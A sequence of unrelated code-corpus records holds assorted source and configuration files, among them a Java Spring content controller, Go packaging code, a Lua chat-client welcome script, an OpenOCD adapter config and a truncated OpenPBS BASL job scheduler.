{{!gh-viewport}}\n\n {{#if this.customViews.showFormModal}}\n \n {{/if}}\n\n {{#if this.showBilling}}\n \n {{/if}}\n\n\n"} +{"text": "var convert = require('./convert'),\n func = convert('mixin', require('../mixin'));\n\nfunc.placeholder = require('./placeholder');\nmodule.exports = func;\n"} +{"text": "package com.salesmanager.shop.admin.controller.content;\n\nimport com.salesmanager.core.business.services.content.ContentService;\nimport com.salesmanager.core.business.services.reference.language.LanguageService;\nimport com.salesmanager.core.model.content.Content;\nimport com.salesmanager.core.model.content.ContentDescription;\nimport com.salesmanager.core.model.content.ContentType;\nimport com.salesmanager.core.model.merchant.MerchantStore;\nimport com.salesmanager.core.model.reference.language.Language;\nimport com.salesmanager.shop.admin.controller.ControllerConstants;\nimport com.salesmanager.shop.admin.model.web.Menu;\nimport com.salesmanager.shop.constants.Constants;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.security.access.prepost.PreAuthorize;\nimport org.springframework.stereotype.Controller;\nimport org.springframework.ui.Model;\nimport org.springframework.validation.BindingResult;\nimport org.springframework.web.bind.annotation.ModelAttribute;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestMethod;\nimport org.springframework.web.bind.annotation.RequestParam;\n\nimport javax.inject.Inject;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport javax.validation.Valid;\nimport java.util.*;\n\n@Controller\npublic class ContentBoxesController {\n\t\n\tprivate static final Logger LOGGER = LoggerFactory.getLogger(ContentBoxesController.class);\n\t\n\t@Inject\n\tprivate ContentService contentService;\n\t\n\t@Inject\n\tLanguageService languageService;\n\t\n\t@ModelAttribute(\"boxPositions\") \n public Set> boxPositions() { \n final Map map = new HashMap(); \n\n map.put(\"LEFT\", \"LEFT\");\n map.put(\"RIGHT\", \"RIGHT\");\n\n\n return (map.entrySet()); \n } \n\n\n\t\n\t\n\t@PreAuthorize(\"hasRole('CONTENT')\")\n\t@RequestMapping(value=\"/admin/content/boxes/list.html\", method=RequestMethod.GET)\n\tpublic String listContentBoxes(Model model, HttpServletRequest request, HttpServletResponse response) throws Exception {\n\t\t\n\t\tsetMenu(model,request);\n\n\t\tmodel.addAttribute(\"boxes\", true);\n\t\treturn ControllerConstants.Tiles.Content.contentPages;\n\t\t\n\t\t\n\t}\n\t\n\t@PreAuthorize(\"hasRole('CONTENT')\")\n\t@RequestMapping(value=\"/admin/content/boxes/create.html\", method=RequestMethod.GET)\n\tpublic String createBox(Model model, HttpServletRequest request, HttpServletResponse response) throws Exception {\n\t\tmodel.addAttribute(\"boxes\", true);\n\t\tsetMenu(model,request);\n\t\tMerchantStore store = (MerchantStore)request.getAttribute(Constants.ADMIN_STORE);\n\t\tContent content = new Content();\n\t\tcontent.setMerchantStore(store);\n\t\tcontent.setContentType(ContentType.BOX);\n\t\t\n\t\t\n\t\tList languages = store.getLanguages();\n\t\t\n\t\t\n\t\tfor(Language l : languages) {\n\t\t\t\n\t\t\tContentDescription description = new ContentDescription();\n\t\t\tdescription.setLanguage(l);\n\t\t\tcontent.getDescriptions().add(description);\n\t\t}\n\t\t\n\t\t//add positions\n\t\tList positions = new ArrayList();\n\t\tpositions.add(\"LEFT\");\n\t\tpositions.add(\"RIGHT\");\n\t\t\n\t\tmodel.addAttribute(\"positions\",positions);\n\t\tmodel.addAttribute(\"content\",content);\n\t\t\n\n\t\treturn ControllerConstants.Tiles.Content.contentPagesDetails;\n\t\t\n\t\t\n\t}\n\t\n\t@PreAuthorize(\"hasRole('CONTENT')\")\n\t@RequestMapping(value=\"/admin/content/boxes/details.html\", method=RequestMethod.GET)\n\tpublic String getContentDetails(@RequestParam(\"id\") Long id, Model model, HttpServletRequest request, HttpServletResponse response) throws Exception {\n\t\tmodel.addAttribute(\"boxes\", true);\n\t\tsetMenu(model,request);\n\t\tMerchantStore store = (MerchantStore)request.getAttribute(Constants.ADMIN_STORE);\n\t\tContent content = contentService.getById(id);\n\t\t\n\n\t\tList positions = new ArrayList();\n\t\tpositions.add(\"LEFT\");\n\t\tpositions.add(\"RIGHT\");\n\t\t\n\t\tmodel.addAttribute(\"positions\",positions);\n\t\t\n\t\tif(content==null) {\n\t\t\tLOGGER.error(\"Content entity null for id \" + id);\n\t\t\treturn \"redirect:/admin/content/boxes/listContent.html\";\n\t\t}\n\t\t\n\t\tif(content.getMerchantStore().getId().intValue()!=store.getId().intValue()) {\n\t\t\tLOGGER.error(\"Content id \" + id + \" does not belong to merchant \" + store.getId());\n\t\t\treturn \"redirect:/admin/content/boxes/listContent.html\";\n\t\t}\n\t\t\n\t\tif(!content.getContentType().name().equals(ContentType.BOX.name())) {\n\t\t\tLOGGER.error(\"This controller does not handle content type \" + content.getContentType().name());\n\t\t\treturn \"redirect:/admin/content/boxes/listContent.html\";\n\t\t}\n\t\t\n\t\tList languages = store.getLanguages();\n\t\t\n\t\tList descriptions = new ArrayList();\n\t\tfor(Language l : languages) {\n\t\t\tfor(ContentDescription description : content.getDescriptions()) {\n\t\t\t\tif(description.getLanguage().getCode().equals(l.getCode())) {\n\t\t\t\t\tdescriptions.add(description);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tcontent.setDescriptions(descriptions);\n\t\t\n\t\tmodel.addAttribute(\"content\",content);\n\t\t\n\n\t\treturn ControllerConstants.Tiles.Content.contentPagesDetails;\n\t\t\n\t\t\n\t}\n\t\n\n\n\t\n\t\n\t@PreAuthorize(\"hasRole('CONTENT')\")\n\t@RequestMapping(value=\"/admin/content/boxes/save.html\", method=RequestMethod.POST)\n\tpublic String saveContent(@Valid @ModelAttribute Content content, BindingResult result, Model model, HttpServletRequest request, HttpServletResponse response) throws Exception {\n\t\tmodel.addAttribute(\"boxes\", true);\n\t\tsetMenu(model,request);\n\t\t\n\t\tMerchantStore store = (MerchantStore)request.getAttribute(Constants.ADMIN_STORE);\n\t\t\n\t\tList positions = new ArrayList();\n\t\tpositions.add(\"LEFT\");\n\t\tpositions.add(\"RIGHT\");\n\t\t\n\t\tmodel.addAttribute(\"positions\",positions);\n\t\t\n\t\tif (result.hasErrors()) {\n\t\t\treturn ControllerConstants.Tiles.Content.contentPagesDetails;\n\t\t}\n\t\t\n\t\tMap langs = languageService.getLanguagesMap();\n\t\t\n\t\tList descriptions = content.getDescriptions();\n\t\tfor(ContentDescription description : descriptions) {\n\t\t\tLanguage l = langs.get(description.getLanguage().getCode());\n\t\t\tdescription.setLanguage(l);\n\t\t\tdescription.setContent(content);\n\t\t}\n\t\t\n\t\tcontent.setContentType(ContentType.BOX);\n\t\tcontent.setMerchantStore(store);\n\t\tcontentService.saveOrUpdate(content);\n\t\t\n\t\t\n\t\tmodel.addAttribute(\"content\",content);\n\t\tmodel.addAttribute(\"success\",\"success\");\n\t\treturn ControllerConstants.Tiles.Content.contentPagesDetails;\n\t\t\n\t\t\n\t}\n\t\n\t\n\t\n\tprivate void setMenu(Model model, HttpServletRequest request) throws Exception {\n\t\t\n\t\t//display menu\n\t\tMap activeMenus = new HashMap();\n\t\tactiveMenus.put(\"content\", \"content\");\n\t\tactiveMenus.put(\"content-boxes\", \"content-boxes\");\n\t\t\n\t\t@SuppressWarnings(\"unchecked\")\n\t\tMap menus = (Map)request.getAttribute(\"MENUMAP\");\n\t\t\n\t\tMenu currentMenu = (Menu)menus.get(\"content\");\n\t\tmodel.addAttribute(\"currentMenu\",currentMenu);\n\t\tmodel.addAttribute(\"activeMenus\",activeMenus);\n\t\t//\n\t\t\n\t}\n\t\n\n}\n"} +{"text": "// RUN: %clang_cc1 -triple i386 -emit-llvm -O2 -o - %s | FileCheck %s\n\n// CHECK-LABEL: define i32 @f0()\n// CHECK: ret i32 1\n// CHECK: }\n\nstatic _Bool f0_0(void *a0) { return (_Bool) a0; }\nint f0() { return f0_0((void*) 0x2); }\n\n_Bool f1(void) {\n return (_Bool) ({ void (*x)(); x = 0; });\n}\n"} +{"text": "/* TAGS: min c */\n/* LIFT_OPTS: explicit +--explicit_args +--explicit_args_count 8 */\n/* LIFT_OPTS: default */\n/*\n * Copyright (c) 2018 Trail of Bits, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n#include \n#include \n\nstruct Book\n{\n char title [50];\n char author [50];\n char subject [100];\n int book_id;\n};\n\nvoid printBook (struct Book book);\n\nint main ()\n{\n struct Book Book1;\n struct Book Book2;\n\n strcpy (Book1.title, \"C Programming\");\n strcpy (Book1.author, \"Nuha Ali\");\n strcpy (Book1.subject, \"C Programming Tutorial\");\n Book1.book_id = 6495407;\n\n strcpy (Book2.title, \"Telecom Billing\");\n strcpy (Book2.author, \"Zara Ali\");\n strcpy (Book2.subject, \"Telecom Billing Tutorial\");\n Book2.book_id = 6495700;\n\n printBook (Book1);\n printBook (Book2);\n\n return 0;\n}\n\nvoid printBook (struct Book book)\n{\n printf (\"Book title: %s\\n\", book.title);\n printf (\"Book author: %s\\n\", book.author);\n printf (\"Book subject: %s\\n\", book.subject);\n printf (\"Book book_id: %d\\n\", book.book_id);\n printf (\"\\n\");\n}\n"} +{"text": "var convert = require('./convert'),\n func = convert('uniqBy', require('../uniqBy'));\n\nfunc.placeholder = require('./placeholder');\nmodule.exports = func;\n"} +{"text": "fileFormatVersion: 2\nguid: 0584be45a828514448cff5acaeff6540\ntimeCreated: 1429374683\nlicenseType: Free\nMonoImporter:\n serializedVersion: 2\n defaultReferences: []\n executionOrder: 0\n icon: {instanceID: 0}\n userData: \n assetBundleName: \n assetBundleVariant: \n"} +{"text": "\nchar *quoted_printable_encode(int ch, size_t input_length, size_t *output_length);\nint transferFileQuotedPrintable(struct handover *ho);\nint encode(int ch, char *encoded_data);\nvoid emit_literally(int ch, char *encoded_data);\n\n\n"} +{"text": "package msgpack\n\nimport (\n\t\"bytes\"\n\n\t\"github.com/vmihailenco/msgpack\"\n\t\"github.com/zclconf/go-cty/cty\"\n)\n\ntype dynamicVal struct {\n\tValue cty.Value\n\tPath cty.Path\n}\n\nfunc (dv *dynamicVal) MarshalMsgpack() ([]byte, error) {\n\t// Rather than defining a msgpack-specific serialization of types,\n\t// instead we use the existing JSON serialization.\n\ttypeJSON, err := dv.Value.Type().MarshalJSON()\n\tif err != nil {\n\t\treturn nil, dv.Path.NewErrorf(\"failed to serialize type: %s\", err)\n\t}\n\tvar buf bytes.Buffer\n\tenc := msgpack.NewEncoder(&buf)\n\tenc.EncodeArrayLen(2)\n\tenc.EncodeBytes(typeJSON)\n\terr = marshal(dv.Value, dv.Value.Type(), dv.Path, enc)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn buf.Bytes(), nil\n}\n"} +{"text": "// Copyright 2018 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license that can be found in the LICENSE file.\n\n// This file enables an external tool to intercept package requests.\n// If the tool is present then its results are used in preference to\n// the go list command.\n\npackage packages\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"os\"\n\t\"os/exec\"\n\t\"strings\"\n)\n\n// The Driver Protocol\n//\n// The driver, given the inputs to a call to Load, returns metadata about the packages specified.\n// This allows for different build systems to support go/packages by telling go/packages how the\n// packages' source is organized.\n// The driver is a binary, either specified by the GOPACKAGESDRIVER environment variable or in\n// the path as gopackagesdriver. It's given the inputs to load in its argv. See the package\n// documentation in doc.go for the full description of the patterns that need to be supported.\n// A driver receives as a JSON-serialized driverRequest struct in standard input and will\n// produce a JSON-serialized driverResponse (see definition in packages.go) in its standard output.\n\n// driverRequest is used to provide the portion of Load's Config that is needed by a driver.\ntype driverRequest struct {\n\tMode LoadMode `json:\"mode\"`\n\t// Env specifies the environment the underlying build system should be run in.\n\tEnv []string `json:\"env\"`\n\t// BuildFlags are flags that should be passed to the underlying build system.\n\tBuildFlags []string `json:\"build_flags\"`\n\t// Tests specifies whether the patterns should also return test packages.\n\tTests bool `json:\"tests\"`\n\t// Overlay maps file paths (relative to the driver's working directory) to the byte contents\n\t// of overlay files.\n\tOverlay map[string][]byte `json:\"overlay\"`\n}\n\n// findExternalDriver returns the file path of a tool that supplies\n// the build system package structure, or \"\" if not found.\"\n// If GOPACKAGESDRIVER is set in the environment findExternalTool returns its\n// value, otherwise it searches for a binary named gopackagesdriver on the PATH.\nfunc findExternalDriver(cfg *Config) driver {\n\tconst toolPrefix = \"GOPACKAGESDRIVER=\"\n\ttool := \"\"\n\tfor _, env := range cfg.Env {\n\t\tif val := strings.TrimPrefix(env, toolPrefix); val != env {\n\t\t\ttool = val\n\t\t}\n\t}\n\tif tool != \"\" && tool == \"off\" {\n\t\treturn nil\n\t}\n\tif tool == \"\" {\n\t\tvar err error\n\t\ttool, err = exec.LookPath(\"gopackagesdriver\")\n\t\tif err != nil {\n\t\t\treturn nil\n\t\t}\n\t}\n\treturn func(cfg *Config, words ...string) (*driverResponse, error) {\n\t\treq, err := json.Marshal(driverRequest{\n\t\t\tMode: cfg.Mode,\n\t\t\tEnv: cfg.Env,\n\t\t\tBuildFlags: cfg.BuildFlags,\n\t\t\tTests: cfg.Tests,\n\t\t\tOverlay: cfg.Overlay,\n\t\t})\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"failed to encode message to driver tool: %v\", err)\n\t\t}\n\n\t\tbuf := new(bytes.Buffer)\n\t\tstderr := new(bytes.Buffer)\n\t\tcmd := exec.CommandContext(cfg.Context, tool, words...)\n\t\tcmd.Dir = cfg.Dir\n\t\tcmd.Env = cfg.Env\n\t\tcmd.Stdin = bytes.NewReader(req)\n\t\tcmd.Stdout = buf\n\t\tcmd.Stderr = stderr\n\n\t\tif err := cmd.Run(); err != nil {\n\t\t\treturn nil, fmt.Errorf(\"%v: %v: %s\", tool, err, cmd.Stderr)\n\t\t}\n\t\tif len(stderr.Bytes()) != 0 && os.Getenv(\"GOPACKAGESPRINTDRIVERERRORS\") != \"\" {\n\t\t\tfmt.Fprintf(os.Stderr, \"%s stderr: <<%s>>\\n\", cmdDebugStr(cmd, words...), stderr)\n\t\t}\n\n\t\tvar response driverResponse\n\t\tif err := json.Unmarshal(buf.Bytes(), &response); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\treturn &response, nil\n\t}\n}\n"} +{"text": "#ifndef _PARSE_H_\n#define _PARSE_H_\n\nvoid parse();\n\n#endif\n"} +{"text": "--// vim:ts=4:sw=4:noet\r\n--// onjoin.lua -- Send a private message to a user when he/she joins\r\n\r\ndcpp:setListener( \"userConnected\", \"onjoin\",\r\n\tfunction( hub, user )\r\n\t\t-- the 2nd argument hides the message from BCDC++\r\n\t\t-- (i.e. doesn't show that you're sending the message)\r\n\t\tuser:sendPrivMsgFmt( \"Hi! Welcome to the hub :)\\r\\n\"..\r\n\t\t\t\t\"(this is an automated message, please do not reply)\", 1 )\r\n\tend\r\n)\r\n\r\nDC():PrintDebug( \" ** Loaded onjoin.lua **\" )\r\n"} +{"text": "// Copyright Hugh Perkins 2015 hughperkins at gmail\n//\n// This Source Code Form is subject to the terms of the Mozilla Public License, \n// v. 2.0. If a copy of the MPL was not distributed with this file, You can \n// obtain one at http://mozilla.org/MPL/2.0/.\n\n#pragma once\n\n#include \n#include \n#include \n#include \n\n#include \"trainers/TrainerStateMaker.h\"\n\n#define VIRTUAL virtual\n#define STATIC static\n\nclass AdagradStateMaker : public TrainerStateMaker {\npublic:\n float fudgeFactor;\n\n // [[[cog\n // import cog_addheaders\n // cog_addheaders.add()\n // ]]]\n // generated, using cog:\n AdagradStateMaker(float fudgeFactor);\n TrainerState *instance(EasyCL *cl, int numWeights);\n VIRTUAL bool created(TrainerState *state);\n\n // [[[end]]]\n};\n\n"} +{"text": "\n\n\n"} +{"text": "#\n# Olimex ARM-USB-TINY\n#\n# http://www.olimex.com/dev/arm-usb-tiny.html\n#\n\ninterface ftdi\nftdi_device_desc \"Olimex OpenOCD JTAG TINY\"\nftdi_vid_pid 0x15ba 0x0004\n\nftdi_layout_init 0x0808 0x0a1b\nftdi_layout_signal nSRST -oe 0x0200\nftdi_layout_signal nTRST -data 0x0100 -oe 0x0100\nftdi_layout_signal LED -data 0x0800\n"} +{"text": "Simple way of swapping variables\nChain comparison operators\nCheck available python modules\nContext manager types - `with`\nDynamic Typing"} +{"text": ";nbsp;王振森男51岁已婚 汉族 河北省承德市双滦区团瓢村,现住双塔山团瓢村,主因于腰痛伴活动受限3天于2016-09-24,14:16收入院\n\n\n\n"} +{"text": "//\n// Generated by class-dump 3.5 (64 bit) (Debug version compiled Jun 9 2015 22:53:21).\n//\n// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2014 by Steve Nygard.\n//\n\n#import \"NSObject-Protocol.h\"\n\n@class JSContext, NSDate, NSError, NSImage, NSString, NSURL, WebFrame, WebScriptObject, WebView;\n\n@protocol WebFrameLoadDelegate \n\n@optional\n- (void)webView:(WebView *)arg1 didCreateJavaScriptContext:(JSContext *)arg2 forFrame:(WebFrame *)arg3;\n- (void)webView:(WebView *)arg1 windowScriptObjectAvailable:(WebScriptObject *)arg2;\n- (void)webView:(WebView *)arg1 didClearWindowObject:(WebScriptObject *)arg2 forFrame:(WebFrame *)arg3;\n- (void)webView:(WebView *)arg1 willCloseFrame:(WebFrame *)arg2;\n- (void)webView:(WebView *)arg1 didCancelClientRedirectForFrame:(WebFrame *)arg2;\n- (void)webView:(WebView *)arg1 willPerformClientRedirectToURL:(NSURL *)arg2 delay:(double)arg3 fireDate:(NSDate *)arg4 forFrame:(WebFrame *)arg5;\n- (void)webView:(WebView *)arg1 didChangeLocationWithinPageForFrame:(WebFrame *)arg2;\n- (void)webView:(WebView *)arg1 didFailLoadWithError:(NSError *)arg2 forFrame:(WebFrame *)arg3;\n- (void)webView:(WebView *)arg1 didFinishLoadForFrame:(WebFrame *)arg2;\n- (void)webView:(WebView *)arg1 didReceiveIcon:(NSImage *)arg2 forFrame:(WebFrame *)arg3;\n- (void)webView:(WebView *)arg1 didReceiveTitle:(NSString *)arg2 forFrame:(WebFrame *)arg3;\n- (void)webView:(WebView *)arg1 didCommitLoadForFrame:(WebFrame *)arg2;\n- (void)webView:(WebView *)arg1 didFailProvisionalLoadWithError:(NSError *)arg2 forFrame:(WebFrame *)arg3;\n- (void)webView:(WebView *)arg1 didReceiveServerRedirectForProvisionalLoadForFrame:(WebFrame *)arg2;\n- (void)webView:(WebView *)arg1 didStartProvisionalLoadForFrame:(WebFrame *)arg2;\n@end\n\n"} +{"text": "version https://git-lfs.github.com/spec/v1\noid sha256:3fd4d72db2626e988edf85f7bd9aa14b9f7881664bb14e2cc06975f9b2378b1c\nsize 249060\n"} +{"text": "//\n// OpenPBS (Portable Batch System) v2.3 Software License\n// \n// Copyright (c) 1999-2000 Veridian Information Solutions, Inc.\n// All rights reserved.\n// \n// ---------------------------------------------------------------------------\n// For a license to use or redistribute the OpenPBS software under conditions\n// other than those described below, or to purchase support for this software,\n// please contact Veridian Systems, PBS Products Department (\"Licensor\") at:\n// \n// www.OpenPBS.org +1 650 967-4675 sales@OpenPBS.org\n// 877 902-4PBS (US toll-free)\n// ---------------------------------------------------------------------------\n// \n// This license covers use of the OpenPBS v2.3 software (the \"Software\") at\n// your site or location, and, for certain users, redistribution of the\n// Software to other sites and locations. Use and redistribution of\n// OpenPBS v2.3 in source and binary forms, with or without modification,\n// are permitted provided that all of the following conditions are met.\n// After December 31, 2001, only conditions 3-6 must be met:\n// \n// 1. Commercial and/or non-commercial use of the Software is permitted\n// provided a current software registration is on file at www.OpenPBS.org.\n// If use of this software contributes to a publication, product, or\n// service, proper attribution must be given; see www.OpenPBS.org/credit.html\n// \n// 2. Redistribution in any form is only permitted for non-commercial,\n// non-profit purposes. There can be no charge for the Software or any\n// software incorporating the Software. Further, there can be no\n// expectation of revenue generated as a consequence of redistributing\n// the Software.\n// \n// 3. Any Redistribution of source code must retain the above copyright notice\n// and the acknowledgment contained in paragraph 6, this list of conditions\n// and the disclaimer contained in paragraph 7.\n// \n// 4. Any Redistribution in binary form must reproduce the above copyright\n// notice and the acknowledgment contained in paragraph 6, this list of\n// conditions and the disclaimer contained in paragraph 7 in the\n// documentation and/or other materials provided with the distribution.\n// \n// 5. Redistributions in any form must be accompanied by information on how to\n// obtain complete source code for the OpenPBS software and any\n// modifications and/or additions to the OpenPBS software. The source code\n// must either be included in the distribution or be available for no more\n// than the cost of distribution plus a nominal fee, and all modifications\n// and additions to the Software must be freely redistributable by any party\n// (including Licensor) without restriction.\n// \n// 6. All advertising materials mentioning features or use of the Software must\n// display the following acknowledgment:\n// \n// \"This product includes software developed by NASA Ames Research Center,\n// Lawrence Livermore National Laboratory, and Veridian Information\n// Solutions, Inc.\n// Visit www.OpenPBS.org for OpenPBS software support,\n// products, and information.\"\n// \n// 7. DISCLAIMER OF WARRANTY\n// \n// THIS SOFTWARE IS PROVIDED \"AS IS\" WITHOUT WARRANTY OF ANY KIND. ANY EXPRESS\n// OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n// OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT\n// ARE EXPRESSLY DISCLAIMED.\n// \n// IN NO EVENT SHALL VERIDIAN CORPORATION, ITS AFFILIATED COMPANIES, OR THE\n// U.S. GOVERNMENT OR ANY OF ITS AGENCIES BE LIABLE FOR ANY DIRECT OR INDIRECT,\n// INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA,\n// OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n// LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n// NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,\n// EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n// \n// This license will be governed by the laws of the Commonwealth of Virginia,\n// without reference to its choice of law rules.\n// \n//\n//\n// This BASL program mimics the best fit algorithm of NQS. It gets all the \n// server and queue limits and runs any job that does not exceed any limit.\n//\n\n// **************************************************************************\n// \n// Global variables\n//\n// **************************************************************************\n\nInt\ttrun;\nSize\ttmem;\nInt\ttmpp;\nSize\ttsds;\t\n\nInt\ttgrp;\nInt\ttusr;\nInt\tqrun;\nInt\tqgrp;\nInt\tqusr;\nSize\tqmem;\nInt\tqmpp;\nSize\tqsds;\n\n// **************************************************************************\n//\n// User-defined Functions\n//\n// **************************************************************************\n\n//\n// Collect the total number of running jobs, total memory in use,\n// total PEs in use, and total SDS in use.\n//\nVoid get_totals(Server s)\n{\n\n\tSet Que\t masterqs;\n\tQue\t q;\n\tSet Job jobs;\n\tJob\t j;\n\n\tSize\t jmem;\n\tInt\t jmpp;\n\tSize\t jsds;\n\n\ttrun = 0;\n\ttmem = 0b;\n\ttmpp = 0;\n\ttsds = 0b;\n\n\tmasterqs = ServerQueuesGet(s);\n\tforeach(q in masterqs) {\n\t\tjobs = QueJobsGet(q);\n\t\tforeach( j in jobs ) {\n\t\t\tif( JobStateGet(j) EQ RUNNING ) {\n\t\t\t\ttrun++;\n\t\t\t\tjmem = JobSizeResReqGet(j, \"mem\");\n\t\t\t\tjmpp = JobIntResReqGet(j, \"mppe\");\n\t\t\t\tjsds = JobSizeResReqGet(j, \"sds\");\n\n\t\t\t\tif( jmem GT 0b ) {\n\t\t\t\t\ttmem = tmem + jmem;\n\t\t\t\t}\n\t\t\t\tif( jmpp GT 0 ) {\n\t\t\t\t\ttmpp = tmpp + jmpp;\n\t\t\t\t}\n\t\t\t\tif( jsds GT 0b ) {\n\t\t\t\t\ttsds = tsds + jsds;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}\n\n\n//\n// Collects the resources used by user (uname), group (gname), and queue (q)\n// associated with the job.\n//\nVoid get_totals_grp_usr_que(Server s, String gname, String uname, Que que)\n{\n\n\tSet Que masterqs;\n\tQue\t q;\n\tSet Job jobs;\n\tJob\t j;\n\tSize\t jmem;\n\tInt\t jmpp;\n\tSize\t jsds;\n\tString\t egroup;\n\tString\t euser;\n\n\ttgrp = 0;\n\ttusr = 0;\n\tqrun = 0;\n\tqgrp = 0;\n\tqusr = 0;\n\tqmem = 0b;\n\tqmpp = 0;\n\tqsds = 0b;\n\t\t\n\tmasterqs = ServerQueuesGet(s);\n\tforeach(q in masterqs) {\n\n\t\tjobs = QueJobsGet(q);\n\t\tforeach( j in jobs ) {\n\t\t\tegroup = JobEffectiveGroupNameGet(j);\n\t\t\tif( egroup EQ gname ) {\n\t\t\t\ttgrp++;\n\t\t\t}\n\n\t\t\teuser = JobEffectiveUserNameGet(j);\n\t\t\tif( euser EQ uname ) {\n\t\t\t\ttusr++;\n\t\t\t}\n\n\t\t\tif( q EQ que ) {\n\t\t\t\tqrun++;\n\n\t\t\t\tjmem = JobSizeResReqGet(j, \"mem\");\n\t\t\t\tif( jmem GT 0b ) {\n\t\t\t\t\tqmem = qmem + jmem;\n\t\t\t\t}\n\t\n\t\t\t\tjmpp = JobIntResReqGet(j, \"mppe\");\n\t\t\t\tif( jmpp GT 0 ) {\n\t\t\t\t\tqmpp = qmpp + jmpp;\n\t\t\t\t}\n\n\t\t\t\tjsds = JobSizeResReqGet(j, \"sds\");\n\t\t\t\tif( jsds GT 0b ) {\n\t\t\t\t\tqsds = qsds + jsds;\n\t\t\t\t}\n\n\t\t\t\tif( egroup EQ gname ) {\n\t\t\t\t\tqgrp++;\n\t\t\t\t} \n\n\t\t\t\tif( euser EQ uname ) {\n\t\t\t\t\tqusr++;\n\t\t\t\t}\n\n\t\t\t}\n\t\t}\n\t}\n}\n\n// The rest of the limits are job dependent. This is done by two nested\n// job loops. The outer loop is the scheduling loop for each job, and the inner\n// loop collects the resources used by user and group associated with the job.\n//\n\n// **************************************************************************\n//\n// Main scheduling Loop\n//\n// **************************************************************************\nsched_main()\n{\n\tServer\tmaster;\n\tSet Que masterqs;\n\tQue\tq;\n\tQue\tq2;\n\tSet Job\tjobs;\n\tSet Job\tjobs2;\n\tJob\tj;\n\tJob\tj2;\n\n\tSize\tjmem;\n\tInt\tjmpp;\n\tSize\tjsds;\n\n\tInt\tg_run_lim;\n\tInt\tg_mpp_lim;\n\tSize\tg_mem_lim;\n\tSize\tg_sds_lim;\n\n\tString\tthis_group;\n\tString\tthis_user;\n\tQue\tthis_queue;\n\tString\tegroup;\n\tString\teuser;\n\n\n\tInt\tg_grp_lim;\n\tInt\tg_usr_lim; \n\n\tSize\tq_mem_lim;\n\tInt\tq_mpp_lim;\n\tSize\tq_sds_lim;\n\n\tInt\tq_run_lim;\n\tInt\tq_grp_lim;\n\tInt\tq_usr_lim;\n\n\tmaster = AllServersLocalHostGet();\n\n//\n// The server state must be \"Scheduling\" to schedule jobs.\n//\n\n\tif( ServerStateGet(master) NEQ SERVER_SCHED ) {\n\t\treturn();\n\t} \n\n\tg_run_lim = ServerMaxRunJobsGet(master);\n\tg_grp_lim = ServerMaxRunJobsPerGroupGet(master);\n\tg_usr_lim = ServerMaxRunJobsPerUserGet(master);\n\tg_mpp_lim = ServerIntResAvailGet(master, \"mppe\");\n\tg_mem_lim = ServerSizeResAvailGet(master, \"mem\");\n\tg_sds_lim = ServerSizeResAvailGet(master, \"sds\");\n\n\tget_totals(master);\n\n\n\tforeach(q in masterqs) {\n//\t\tIs the queue turned on? \n\t\tif( QueStateGet(q) NEQ SCHED_ENABLED ) {\n\t\t\tcontinue;\n\t\t}\n\t\tq_run_lim = QueMaxRunJobsGet(q);\n\t\tq_grp_lim = QueMaxRunJobsPerGroupGet(q);\n\t\tq_usr_lim = QueMaxRunJobsPerUserGet(q);\n\t\tq_mem_lim = QueSizeResAvailGet(q, \"mem\");\n\t\tq_mpp_lim = QueIntResAvailGet(q, \"mppe\");\n\t\tq_sds_lim = QueSizeResAvailGet(q, \"sds\");\n\n\t\tjobs = QueJobsGet(q);\n\t\tforeach( j in jobs ) {\n\n//\t\t\tCheck the global run limit\n\t\t\tif( g_run_lim GT 0 AND trun GE g_run_lim ) {\n\t\t\t\treturn(); // terminate scheduling cycle\n\t\t\t}\n\n//\t\t\tCheck the global memory limit\n\t\t\tif( g_mem_lim GT 0b AND tmem GE g_mem_lim ) {\n\t\t\t\treturn();\n\t\t\t}\n\n//\t\t\tIs this job in the \"Queued\" state?\n\t\t\tif( JobStateGet(j) NEQ QUEUED ) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n//\t\t\twill this job it exceed the global memory limit ?\n\t\t\tjmem = JobSizeResReqGet(j, \"mem\");\n\t\t\tif( g_mem_lim GT 0b AND jmem GT 0b AND\n\t\t\t (tmem + jmem) GT g_mem_lim ) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n// \tIf this job uses the MPP, will it exceed the global MPP limit?\n\t\t\tjmpp = JobIntResReqGet(j, \"mppe\");\t\n\t\t\tif( g_mpp_lim GT 0 AND jmpp GT 0 AND\n\t\t\t\t\t (tmpp + jmpp) GT g_mpp_lim ) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n//\t\t\tIf this job uses SDS, will it exceed the global SDS\n//\t\t\tlimit?\n\t\t\tjsds = JobSizeResReqGet(j, \"sds\");\n\t\t\tif( 